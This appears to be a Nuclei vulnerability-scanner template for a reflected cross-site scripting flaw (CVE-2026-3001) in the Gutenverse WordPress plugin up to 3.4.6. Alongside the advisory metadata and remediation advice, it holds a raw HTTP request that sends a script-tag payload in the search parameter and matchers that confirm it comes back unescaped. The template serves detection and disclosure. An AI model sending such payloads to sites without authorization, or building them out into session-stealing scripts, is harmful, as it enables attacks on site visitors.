id: CVE-2026-3001

info:
  name: Gutenverse Plugin <= 3.4.6 - Cross-Site Scripting
  author: coffeetaro_12
  severity: medium
  description: |
    The Gutenverse plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in versions up to and including 3.4.6. The issue arises due to insufficient input sanitization and output escaping in the `render_content()` method of `class-search-result-title.php`, which outputs the value of `get_query_var('s')` directly into the page HTML without applying `esc_html()`. This makes it possible for unauthenticated attackers to inject and execute arbitrary web scripts in pages via a crafted URL, provided the `gutenverse/search-result-title` block is present on the site's search results template.
  impact: |
    Unauthenticated attackers can execute arbitrary scripts in users' browsers, leading to session hijacking or phishing.
  remediation: |
    Update to a version later than 3.4.6 or latest available version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-3001
    - https://wpscan.com/vulnerability/b4d5571b-fcbf-409d-be91-efcfe9a3fa95/
    - https://patchstack.com/database/wordpress/plugin/gutenverse/vulnerability/wordpress-gutenverse-wordpress-blocks-page-builder-site-editor-plugin-3-4-6-reflected-cross-site-scripting-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-3001
    epss-score: 0.005
    epss-percentile: 0.43077
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: jegstudio
    product: gutenverse
    publicwww-query: "/wp-content/plugins/gutenverse/"
  tags: cve,cve2026,xss,wordpress,gutenverse,wp-plugin,wp

http:
  - raw:
      - |
        GET /?s=<script>alert(1)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(1)</script>"
          - "gutenverse"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

    extractors:
      - type: regex
        part: body
        regex:
          - "<span class='search-input-text'><script>alert(1)</script></span>"
# digest: 4a0a00473045022001d58aa6b55d5a2207e6bfeadd8347ac9d49c4eec1dc088fef948af2666eea6e022100addba9dcb07ad93b637d546508e366f075b9c1f6f80266e881218889b40443fe:922c64590222798bb761d5b6d8e72950